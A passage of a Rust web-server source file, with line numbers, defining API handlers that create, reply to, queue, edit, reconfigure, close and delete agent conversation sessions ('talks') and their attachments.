7015 Self::with_config(talk, thinking, cfg.as_ref(), home)
7016 }
7017
7018 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7021 for turn in &mut talk.turns {
7022 let provenance = talk::sender(turn, None);
7023 turn.sender = Some(provenance);
7024 for message in &mut turn.messages {
7025 message.sender = Some(message.sender.unwrap_or(provenance));
7026 }
7027 }
7028 let senders: Vec<Vec<talk::Sender>> = talk
7030 .turns
7031 .iter()
7032 .map(|turn| {
7033 if turn.messages.is_empty() {
7034 vec![talk::sender(turn, None)]
7035 } else {
7036 turn.messages
7037 .iter()
7038 .map(|m| talk::sender(turn, Some(m)))
7039 .collect()
7040 }
7041 })
7042 .collect();
7043 for reply in talk
7044 .turns
7045 .iter_mut()
7046 .flat_map(|t| t.messages.iter_mut())
7047 .chain(talk.pending_messages.iter_mut())
7048 .filter_map(|m| m.reply.as_mut())
7049 {
7050 if reply.sender.is_none() {
7051 reply.sender = senders
7052 .get(reply.target.turn)
7053 .and_then(|messages| messages.get(reply.target.message))
7054 .copied();
7055 }
7056 }
7057 let context = talk::context_usage(&talk, cfg);
7058 let turn_bodies_md = talk
7059 .turns
7060 .iter()
7061 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7062 .collect();
7063 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7064 let persona_name = persona::find(specs, &talk.persona)
7065 .filter(|p| !p.is_default())
7066 .map(|p| p.name);
7067 let persona_avatar = avatar_url(
7068 &talk.id,
7069 &persona::find(specs, &talk.persona)
7070 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7071 );
7072 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7073 Self {
7074 turn_bodies_md,
7075 thinking,
7076 context,
7077 operator_name,
7078 persona_name,
7079 persona_avatar,
7080 magi_avatar: magi_icon_url(home),
7081 operator_avatar: format!(
7082 "/avatars/operator.svg?v={}",
7083 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7084 ),
7085 talk,
7086 }
7087 }
7088}
7089
7090#[derive(Debug, Serialize)]
7095struct TalkDetailView {
7096 #[serde(flatten)]
7097 view: TalkView,
7098 tasks: Vec<TaskView>,
7099 roster: Vec<RosterEntry>,
7102 personas: Vec<PersonaEntry>,
7105}
7106
7107#[derive(Debug, Serialize)]
7109struct PersonaEntry {
7110 id: String,
7111 name: String,
7112 avatar: String,
7114}
7115
7116#[derive(Debug, Serialize)]
7118struct RosterEntry {
7119 id: String,
7120 kind: AgentKind,
7121 runnable: bool,
7123}
7124
7125async fn talks_list(
7130 State(ui): State<Arc<Ui>>,
7131 Query(q): Query<ListQuery>,
7132) -> ApiResult<Json<Vec<TalkView>>> {
7133 blocking(move || {
7134 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7135 Ok(Json(
7136 ui.talks
7137 .list()
7138 .into_iter()
7139 .filter(|talk| q.contains(&talk.id))
7140 .map(|talk| {
7141 let thinking = ui.is_thinking(&talk.id);
7142 let cfg = configs
7143 .entry(talk.repo.clone())
7144 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7145 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7146 })
7147 .collect(),
7148 ))
7149 })
7150 .await
7151}
7152
7153#[derive(Debug, Default, Deserialize)]
7158#[serde(default)]
7159struct NewTalk {
7160 agent: Option<String>,
7161 repo: Option<PathBuf>,
7162 preferred_agent: Option<serde_json::Value>,
7166 persona: Option<serde_json::Value>,
7167 implementers: Option<serde_json::Value>,
7168}
7169
7170async fn talk_post(
7173 State(ui): State<Arc<Ui>>,
7174 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7175) -> ApiResult<impl IntoResponse> {
7176 let body = match body {
7180 Ok(Json(body)) => body,
7181 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7182 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7183 };
7184 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7185 let cfg = config_for(&repo).await?;
7186 let view = blocking(move || {
7187 let preferred = talk::Preferred {
7188 agent: body
7189 .preferred_agent
7190 .as_ref()
7191 .and_then(|v| v.as_str())
7192 .map(str::to_owned),
7193 persona: body
7194 .persona
7195 .as_ref()
7196 .and_then(|v| v.as_str())
7197 .map(str::to_owned),
7198 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7199 };
7200 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7201 let thinking = ui.is_thinking(&talk.id);
7202 Ok(TalkView::new(talk, thinking, &ui.home))
7203 })
7204 .await?;
7205 Ok((StatusCode::CREATED, Json(view)))
7206}
7207
7208async fn talk_detail(
7210 State(ui): State<Arc<Ui>>,
7211 Path(id): Path<String>,
7212) -> ApiResult<Json<TalkDetailView>> {
7213 blocking(move || {
7214 let id = resolve_talk(&ui.talks, &id)?;
7215 let talk = ui.talks.get(&id)?;
7216 let thinking = ui.is_thinking(&talk.id);
7217 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7218 .into_iter()
7219 .map(TaskView::from)
7220 .collect();
7221 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7222 let roster = cfg
7223 .as_ref()
7224 .map(|cfg| {
7225 cfg.agents
7226 .iter()
7227 .map(|a| RosterEntry {
7228 id: a.id.clone(),
7229 kind: a.kind,
7230 runnable: agent::installed(a),
7231 })
7232 .collect()
7233 })
7234 .unwrap_or_default();
7235 let specs = cfg
7236 .as_ref()
7237 .map(|cfg| cfg.talk.personas.clone())
7238 .unwrap_or_default();
7239 let personas = persona::catalog(&specs)
7240 .into_iter()
7241 .map(|p| PersonaEntry {
7242 avatar: avatar_url(&talk.id, &p),
7243 id: p.id,
7244 name: p.name,
7245 })
7246 .collect();
7247 Ok(Json(TalkDetailView {
7248 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7249 tasks,
7250 roster,
7251 personas,
7252 }))
7253 })
7254 .await
7255}
7256
7257#[derive(Debug, Default, Deserialize)]
7263#[serde(default, deny_unknown_fields)]
7264struct NewTalkTurn {
7265 reply_to: Option<talk::ReplyTarget>,
7266 text: String,
7267 attachments: Vec<String>,
7268}
7269
7270#[derive(Debug, Deserialize)]
7271#[serde(deny_unknown_fields)]
7272struct EditTalkPending {
7273 #[serde(default)]
7274 message: Option<usize>,
7275 text: String,
7276 expected_text: String,
7277 expected_attachments: Vec<String>,
7278}
7279
7280#[derive(Debug, Deserialize)]
7281#[serde(deny_unknown_fields)]
7282struct ClearTalkPending {
7283 expected_text: String,
7284 expected_attachments: Vec<String>,
7285}
7286
7287async fn talk_say(
7299 State(ui): State<Arc<Ui>>,
7300 Path(id): Path<String>,
7301 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7302) -> ApiResult<(StatusCode, Json<TalkView>)> {
7303 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7304 if body.text.trim().is_empty() && body.attachments.is_empty() {
7305 return Err(ApiError::bad_request("say something"));
7306 }
7307
7308 let id = {
7309 let ui = Arc::clone(&ui);
7310 let asked = id.clone();
7311 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7312 };
7313 {
7317 let ui = Arc::clone(&ui);
7318 let id = id.clone();
7319 blocking(move || {
7320 let talk = ui.talks.get(&id)?;
7321 if !talk.status.open() {
7322 return Err(ApiError::conflict(format!(
7323 "talk {} is {} and takes no more turns",
7324 talk.short(),
7325 talk.status.as_str()
7326 )));
7327 }
7328 Ok(())
7329 })
7330 .await?;
7331 }
7332
7333 let attachments = {
7338 let ui = Arc::clone(&ui);
7339 let id = id.clone();
7340 let ids = body.attachments.clone();
7341 blocking(move || {
7342 ids.into_iter()
7343 .map(|att_id| {
7344 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7345 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7346 })
7347 })
7348 .collect::<ApiResult<Vec<talk::Attachment>>>()
7349 })
7350 .await?
7351 };
7352
7353 let start = {
7358 let ui = Arc::clone(&ui);
7359 let id = id.clone();
7360 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7361 };
7362 let turn_guard = match start {
7363 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7364 TalkTurnStart::Pending => {
7365 return Err(ApiError::conflict(
7366 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7367 ));
7368 }
7369 TalkTurnStart::Foreign => {
7370 return Err(ApiError::conflict(
7371 "a turn is already running in another process; try again when it has finished",
7372 ));
7373 }
7374 TalkTurnStart::Busy => {
7375 let (tx, rx) = tokio::sync::oneshot::channel();
7391 tokio::spawn({
7392 let ui = Arc::clone(&ui);
7393 let id = id.clone();
7394 let said = body.text.clone();
7395 let reply_to = body.reply_to.clone();
7396 async move {
7397 let written = blocking({
7398 let ui = Arc::clone(&ui);
7399 let id = id.clone();
7400 move || {
7401 let mut talk = ui.talks.get(&id)?;
7402 #[cfg(test)]
7407 if let Some(gate) = ui
7408 .busy_queue_gate
7409 .lock()
7410 .unwrap_or_else(PoisonError::into_inner)
7411 .take()
7412 {
7413 let _ = gate.reached.send(());
7414 let _ = gate.release.recv();
7415 }
7416 if let Err(error) = talk::queue_reply(
7417 &mut talk,
7418 &ui.talks,
7419 &said,
7420 attachments,
7421 reply_to,
7422 ) {
7423 if let Ok(fresh) = ui.talks.get(&id) {
7424 if !fresh.status.open() {
7425 return Err(ApiError::conflict(format!(
7426 "talk {} is {} and takes no more turns",
7427 fresh.short(),
7428 fresh.status.as_str()
7429 )));
7430 }
7431 }
7432 return Err(
7433 if error.to_string().contains("invalid reply target") {
7434 ApiError::bad_request("invalid reply target")
7435 } else {
7436 ApiError::from(error)
7437 },
7438 );
7439 }
7440 let claim = match ui.begin_queued_talk_turn(&id)? {
7451 Some(turn_guard) => {
7452 let (cfg, _) = Config::discover(&talk.repo, None)?;
7453 Some((talk.clone(), cfg, turn_guard))
7454 }
7455 None => None,
7456 };
7457 let thinking = ui.is_thinking(&id);
7458 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7459 }
7460 })
7461 .await;
7462 let (view, reclaimed) = match written {
7463 Ok(pair) => pair,
7464 Err(e) => {
7465 let _ = tx.send(Err(e));
7470 return;
7471 }
7472 };
7473 let _ = tx.send(Ok(view));
7476 if let Some((talk, cfg, turn_guard)) = reclaimed {
7477 let talks = ui.talks.clone();
7478 drain_loop(talk, talks, cfg, id, turn_guard).await;
7479 }
7480 }
7481 });
7482 let view = rx
7483 .await
7484 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7485 return Ok((StatusCode::ACCEPTED, Json(view)));
7486 }
7487 };
7488
7489 let (talk, cfg) = {
7490 let ui = Arc::clone(&ui);
7491 let id = id.clone();
7492 blocking(move || {
7493 let talk = ui.talks.get(&id)?;
7494 let (cfg, _) = Config::discover(&talk.repo, None)?;
7495 Ok((talk, cfg))
7496 })
7497 .await?
7498 };
7499
7500 let talks = ui.talks.clone();
7501 let (tx, rx) = tokio::sync::oneshot::channel();
7516 tokio::spawn({
7517 let ui = Arc::clone(&ui);
7518 let talks = talks.clone();
7519 let id = id.clone();
7520 let said = body.text.clone();
7521 let reply_to = body.reply_to.clone();
7522 let mut talk = talk.clone();
7523 async move {
7524 let recorded = blocking({
7525 let talks = talks.clone();
7526 move || {
7527 if let Err(error) =
7528 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7529 {
7530 if let Ok(fresh) = talks.get(&talk.id) {
7531 if !fresh.status.open() {
7532 return Err(ApiError::conflict(format!(
7533 "talk {} is {} and takes no more turns",
7534 fresh.short(),
7535 fresh.status.as_str()
7536 )));
7537 }
7538 }
7539 return Err(if error.to_string().contains("invalid reply target") {
7540 ApiError::bad_request("invalid reply target")
7541 } else {
7542 ApiError::from(error)
7543 });
7544 }
7545 Ok((said.trim().to_owned(), talk))
7551 }
7552 })
7553 .await;
7554 let (text, mut talk) = match recorded {
7555 Ok(pair) => pair,
7556 Err(e) => {
7557 let _ = tx.send(Err(e));
7561 return;
7562 }
7563 };
7564 let queued = talk.clone();
7565 let thinking = ui.is_thinking(&id);
7566 let _ = tx.send(Ok((queued, thinking)));
7569
7570 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7571 tracing::warn!("talk {id} turn failed: {e:#}");
7575 }
7576 drain_loop(talk, talks, cfg, id, turn_guard).await;
7579 }
7580 });
7581
7582 let (queued, thinking) = rx
7583 .await
7584 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7585
7586 Ok((
7588 StatusCode::ACCEPTED,
7589 Json(TalkView::new(queued, thinking, &ui.home)),
7590 ))
7591}
7592
7593async fn talk_pending_resume(
7597 State(ui): State<Arc<Ui>>,
7598 Path(id): Path<String>,
7599) -> ApiResult<(StatusCode, Json<TalkView>)> {
7600 let id = {
7601 let ui = Arc::clone(&ui);
7602 let asked = id.clone();
7603 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7604 };
7605 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7606 return Err(ApiError::conflict(
7607 "a talk turn is already running; the queued draft will be handled by it",
7608 ));
7609 };
7610 let (talk, cfg) = {
7611 let ui = Arc::clone(&ui);
7612 let id = id.clone();
7613 blocking(move || {
7614 let talk = ui.talks.get(&id)?;
7615 if !talk.status.open() {
7616 return Err(ApiError::conflict(format!(
7617 "talk {} is {} and takes no more turns",
7618 talk.short(),
7619 talk.status.as_str()
7620 )));
7621 }
7622 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7623 return Err(ApiError::conflict("there is no queued draft to resume"));
7624 }
7625 let (cfg, _) = Config::discover(&talk.repo, None)?;
7626 Ok((talk, cfg))
7627 })
7628 .await?
7629 };
7630 let view = TalkView::new(talk.clone(), true, &ui.home);
7631 let talks = ui.talks.clone();
7632 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7633 Ok((StatusCode::ACCEPTED, Json(view)))
7634}
7635
7636async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7652 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7653}
7654
7655async fn settle_settings_turn(
7659 talk: Talk,
7660 talks: Talks,
7661 cfg: Config,
7662 id: String,
7663 turn: TalkTurnGuard,
7664 observed: u64,
7665) -> bool {
7666 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7667 let turns = Arc::clone(&turn.turns);
7668 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7669 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7670 turn.release(&mut live);
7672 return false;
7673 }
7674 }
7675 let (started, settled) = tokio::sync::oneshot::channel();
7676 tokio::spawn(drain_loop_started(
7677 talk,
7678 talks,
7679 cfg,
7680 id,
7681 turn,
7682 Some(started),
7683 ));
7684 settled.await.unwrap_or(false)
7685}
7686
7687async fn drain_loop_started(
7688 mut talk: Talk,
7689 talks: Talks,
7690 cfg: Config,
7691 id: String,
7692 turn: TalkTurnGuard,
7693 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7694) {
7695 let live_set = Arc::clone(&turn.turns);
7696 let mut turn = Some(turn);
7704 loop {
7705 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7706 tracing::warn!("talk {id} lost its turn lease; not draining further");
7709 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7710 if let Some(turn) = turn.take() {
7711 turn.release(&mut live);
7712 }
7713 break;
7714 }
7715 {
7716 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7719 if live.parking {
7720 if let Some(turn) = turn.take() {
7721 turn.release(&mut live);
7722 }
7723 break;
7724 }
7725 }
7726 let observed = live_set
7730 .lock()
7731 .unwrap_or_else(PoisonError::into_inner)
7732 .queued
7733 .get(&id)
7734 .copied()
7735 .unwrap_or(0);
7736 let drained = blocking({
7737 let talks = talks.clone();
7738 let live_set = Arc::clone(&live_set);
7739 move || {
7740 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7745 let result = if live.parking {
7746 Ok(None)
7747 } else {
7748 talk::drain(&mut talk, &talks)
7749 };
7750 drop(live);
7751 Ok((talk, result))
7752 }
7753 })
7754 .await;
7755 let (next_talk, result) = match drained {
7756 Ok(drained) => drained,
7757 Err(e) => {
7758 tracing::warn!(
7759 status = %e.status,
7760 message = %e.message,
7761 "talk {id} could not start queued-text drain"
7762 );
7763 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7764 turn.take()
7765 .expect("held for the whole loop until released here")
7766 .release(&mut live);
7767 break;
7768 }
7769 };
7770 talk = next_talk;
7771 let drained = match result {
7772 Ok(Some(drained)) => drained,
7773 Ok(None) => {
7774 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7775 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7776 continue;
7777 }
7778 turn.take()
7779 .expect("held for the whole loop until released here")
7780 .release(&mut live);
7781 break;
7782 }
7783 Err(e) => {
7784 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7785 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7786 turn.take()
7787 .expect("held for the whole loop until released here")
7788 .release(&mut live);
7789 break;
7790 }
7791 };
7792 if let Some(started) = started.take() {
7793 let _ = started.send(true);
7794 }
7795 let responded = match turn.as_ref() {
7796 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7797 None => Err(anyhow::anyhow!("the turn guard was released")),
7798 };
7799 if let Err(e) = responded {
7800 tracing::warn!("talk {id} turn failed: {e:#}");
7801 }
7802 }
7803 drop(turn);
7804 if let Some(started) = started {
7805 let _ = started.send(false);
7806 }
7807}
7808
7809async fn talk_pending_clear(
7811 State(ui): State<Arc<Ui>>,
7812 Path(id): Path<String>,
7813 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7814) -> ApiResult<Json<TalkView>> {
7815 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7816 blocking(move || {
7817 let id = resolve_talk(&ui.talks, &id)?;
7818 let mut talk = ui.talks.get(&id)?;
7819 if !talk.status.open() {
7820 return Err(ApiError::conflict(format!(
7821 "talk {} is {} and takes no more turns",
7822 talk.short(),
7823 talk.status.as_str()
7824 )));
7825 }
7826 if !talk::clear_pending_if_matches(
7827 &mut talk,
7828 &ui.talks,
7829 &body.expected_text,
7830 &body.expected_attachments,
7831 )? {
7832 return Err(ApiError::conflict(
7833 "queued message changed; reload it before clearing",
7834 ));
7835 }
7836 let thinking = ui.is_thinking(&talk.id);
7837 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
7838 })
7839 .await
7840}
7841
7842async fn talk_pending_edit(
7846 State(ui): State<Arc<Ui>>,
7847 Path(id): Path<String>,
7848 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7849) -> ApiResult<Json<TalkView>> {
7850 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7851 let (view, reclaimed) = blocking({
7852 let ui = Arc::clone(&ui);
7853 move || {
7854 let id = resolve_talk(&ui.talks, &id)?;
7855 let mut talk = ui.talks.get(&id)?;
7856 if !talk.status.open() {
7857 return Err(ApiError::conflict(format!(
7858 "talk {} is {} and takes no more turns",
7859 talk.short(),
7860 talk.status.as_str()
7861 )));
7862 }
7863 if !talk::edit_pending_message(
7864 &mut talk,
7865 &ui.talks,
7866 &body.text,
7867 &body.expected_text,
7868 &body.expected_attachments,
7869 body.message,
7870 )? {
7871 return Err(ApiError::conflict(
7872 "queued message changed; reload it before editing",
7873 ));
7874 }
7875 let claim = match ui.begin_queued_talk_turn(&id)? {
7876 Some(turn_guard) => {
7877 let (cfg, _) = Config::discover(&talk.repo, None)?;
7878 Some((talk.clone(), cfg, id.clone(), turn_guard))
7879 }
7880 None => None,
7881 };
7882 let thinking = ui.is_thinking(&id);
7883 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7884 }
7885 })
7886 .await?;
7887 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7888 let talks = ui.talks.clone();
7889 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7890 }
7891 Ok(Json(view))
7892}
7893
7894fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7896 if talk.status.open() {
7897 return Ok(());
7898 }
7899 Err(ApiError::conflict(format!(
7900 "talk {} is {} and takes no more turns",
7901 talk.short(),
7902 talk.status.as_str()
7903 )))
7904}
7905
7906#[derive(Debug, Deserialize)]
7908struct TalkAgent {
7909 agent: String,
7910}
7911
7912async fn talk_agent(
7917 State(ui): State<Arc<Ui>>,
7918 Path(id): Path<String>,
7919 Json(body): Json<TalkAgent>,
7920) -> ApiResult<Json<TalkView>> {
7921 let id = {
7922 let ui = Arc::clone(&ui);
7923 blocking(move || resolve_talk(&ui.talks, &id)).await?
7924 };
7925 let repo = {
7926 let ui = Arc::clone(&ui);
7927 let id = id.clone();
7928 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7929 };
7930 let cfg = config_for(&repo).await?;
7931 {
7933 let ui = Arc::clone(&ui);
7934 let id = id.clone();
7935 let cfg = cfg.clone();
7936 let wanted = body.agent.clone();
7937 blocking(move || {
7938 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7939 .map_err(ApiError::bad_request_from)?;
7940 refuse_if_closed(&ui.talks.get(&id)?)
7941 })
7942 .await?;
7943 }
7944 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7945 return Err(ApiError::conflict(
7946 "a talk turn is running; change the agent once it has answered",
7947 ));
7948 };
7949 let switched = {
7950 let ui = Arc::clone(&ui);
7951 let id = id.clone();
7952 let cfg = cfg.clone();
7953 blocking(move || {
7954 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7955 .map_err(ApiError::bad_request_from)?;
7956 let mut talk = ui.talks.get(&id)?;
7957 if !talk.status.open() {
7958 return Err(ApiError::conflict(format!(
7959 "talk {} is {} and takes no more turns",
7960 talk.short(),
7961 talk.status.as_str()
7962 )));
7963 }
7964 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7965 Ok(talk)
7966 })
7967 .await
7968 };
7969 let observed = ui.queued_generation(&id);
7974 let fresh = {
7975 let ui = Arc::clone(&ui);
7976 let id = id.clone();
7977 blocking(move || Ok(ui.talks.get(&id)?)).await
7978 };
7979 let draining = match fresh {
7980 Ok(talk) => {
7981 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7982 }
7983 Err(_) => false,
7984 };
7985 let talk = switched?;
7986 Ok(Json(TalkView::new(talk, draining, &ui.home)))
7987}
7988
7989#[derive(Debug, Deserialize)]
7991struct TalkPersona {
7992 persona: String,
7993}
7994
7995async fn talk_persona(
7999 State(ui): State<Arc<Ui>>,
8000 Path(id): Path<String>,
8001 Json(body): Json<TalkPersona>,
8002) -> ApiResult<Json<TalkView>> {
8003 let id = {
8004 let ui = Arc::clone(&ui);
8005 blocking(move || resolve_talk(&ui.talks, &id)).await?
8006 };
8007 let repo = {
8008 let ui = Arc::clone(&ui);
8009 let id = id.clone();
8010 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8011 };
8012 let cfg = config_for(&repo).await?;
8013 {
8015 let ui = Arc::clone(&ui);
8016 let id = id.clone();
8017 let cfg = cfg.clone();
8018 let wanted = body.persona.clone();
8019 blocking(move || {
8020 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8021 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8022 }
8023 refuse_if_closed(&ui.talks.get(&id)?)
8024 })
8025 .await?;
8026 }
8027 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8028 return Err(ApiError::conflict(
8029 "a talk turn is running; change the persona once it has answered",
8030 ));
8031 };
8032 let switched = {
8033 let ui = Arc::clone(&ui);
8034 let id = id.clone();
8035 let cfg = cfg.clone();
8036 blocking(move || {
8037 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8038 return Err(ApiError::bad_request(format!(
8039 "unknown persona `{}`",
8040 body.persona
8041 )));
8042 };
8043 let mut talk = ui.talks.get(&id)?;
8044 if !talk.status.open() {
8045 return Err(ApiError::conflict(format!(
8046 "talk {} is {} and takes no more turns",
8047 talk.short(),
8048 talk.status.as_str()
8049 )));
8050 }
8051 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8052 Ok(talk)
8053 })
8054 .await
8055 };
8056 let observed = ui.queued_generation(&id);
8058 let fresh = {
8059 let ui = Arc::clone(&ui);
8060 let id = id.clone();
8061 blocking(move || Ok(ui.talks.get(&id)?)).await
8062 };
8063 let draining = match fresh {
8064 Ok(talk) => {
8065 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8066 }
8067 Err(_) => false,
8068 };
8069 let talk = switched?;
8070 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8071}
8072
8073#[derive(Debug, Deserialize)]
8075struct TalkImplementers {
8076 implementers: u8,
8077}
8078
8079async fn talk_implementers(
8083 State(ui): State<Arc<Ui>>,
8084 Path(id): Path<String>,
8085 Json(body): Json<TalkImplementers>,
8086) -> ApiResult<Json<TalkView>> {
8087 let id = {
8088 let ui = Arc::clone(&ui);
8089 blocking(move || resolve_talk(&ui.talks, &id)).await?
8090 };
8091 let repo = {
8092 let ui = Arc::clone(&ui);
8093 let id = id.clone();
8094 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8095 };
8096 let cfg = config_for(&repo).await?;
8097 {
8102 let ui = Arc::clone(&ui);
8103 let id = id.clone();
8104 let cfg = cfg.clone();
8105 let wanted = body.implementers;
8106 blocking(move || {
8107 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8108 refuse_if_closed(&ui.talks.get(&id)?)
8109 })
8110 .await?;
8111 }
8112 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8113 return Err(ApiError::conflict(
8114 "a talk turn is running; change the implementers once it has answered",
8115 ));
8116 };
8117 let switched = {
8118 let ui = Arc::clone(&ui);
8119 let id = id.clone();
8120 let cfg = cfg.clone();
8121 blocking(move || {
8122 let chosen =
8123 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8124 let mut talk = ui.talks.get(&id)?;
8125 if !talk.status.open() {
8126 return Err(ApiError::conflict(format!(
8127 "talk {} is {} and takes no more turns",
8128 talk.short(),
8129 talk.status.as_str()
8130 )));
8131 }
8132 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8133 Ok(talk)
8134 })
8135 .await
8136 };
8137 let observed = ui.queued_generation(&id);
8139 let fresh = {
8140 let ui = Arc::clone(&ui);
8141 let id = id.clone();
8142 blocking(move || Ok(ui.talks.get(&id)?)).await
8143 };
8144 let draining = match fresh {
8145 Ok(talk) => {
8146 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8147 }
8148 Err(_) => false,
8149 };
8150 let talk = switched?;
8151 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8152}
8153
8154async fn talk_close(
8156 State(ui): State<Arc<Ui>>,
8157 Path(id): Path<String>,
8158) -> ApiResult<Json<TalkView>> {
8159 blocking(move || {
8160 let id = resolve_talk(&ui.talks, &id)?;
8161 let mut talk = ui.talks.get(&id)?;
8162 talk::close(&mut talk, &ui.talks)?;
8163 let thinking = ui.is_thinking(&talk.id);
8164 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8165 })
8166 .await
8167}
8168
8169async fn talk_reopen(
8171 State(ui): State<Arc<Ui>>,
8172 Path(id): Path<String>,
8173) -> ApiResult<Json<TalkView>> {
8174 blocking(move || {
8175 let id = resolve_talk(&ui.talks, &id)?;
8176 let mut talk = ui.talks.get(&id)?;
8177 talk::reopen(&mut talk, &ui.talks)?;
8178 let thinking = ui.is_thinking(&talk.id);
8179 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8180 })
8181 .await
8182}
8183
8184async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8194 blocking(move || {
8195 let id = resolve_talk(&ui.talks, &id)?;
8196 ui.talks.remove(&id)?;
8197 Ok(StatusCode::NO_CONTENT)
8198 })
8199 .await
8200}
8201
8202fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8204 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8205}
8206
8207async fn talk_attachment_post(
8210 State(ui): State<Arc<Ui>>,
8211 Path(id): Path<String>,
8212 headers: HeaderMap,
8213 body: Bytes,
8214) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8215 let mime = validate_attachment(&headers, &body)?;
8216 let name = filename_header(&headers);
8217 let data = body.to_vec();
8218 blocking(move || {
8219 let id = resolve_talk(&ui.talks, &id)?;
8220 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8221 Ok((StatusCode::CREATED, Json(att)))
8222 })
8223 .await
8224}
8225
8226async fn talk_attachment_get(
8229 State(ui): State<Arc<Ui>>,
8230 Path((id, att)): Path<(String, String)>,
8231) -> ApiResult<Response> {
8232 blocking(move || {
8233 let id = resolve_talk(&ui.talks, &id)?;
8234 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8235 return Err(ApiError::not_found(format!(
8236 "talk {id} has no attachment `{att}`"
8237 )));
8238 };
8239 Ok(attachment_response(&meta.mime, data))
8240 })
8241 .await
8242}
8243
8244fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8247 let mut id = String::new();
8248 for b in p.id.bytes() {
8249 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8250 id.push(char::from(b));
8251 } else {
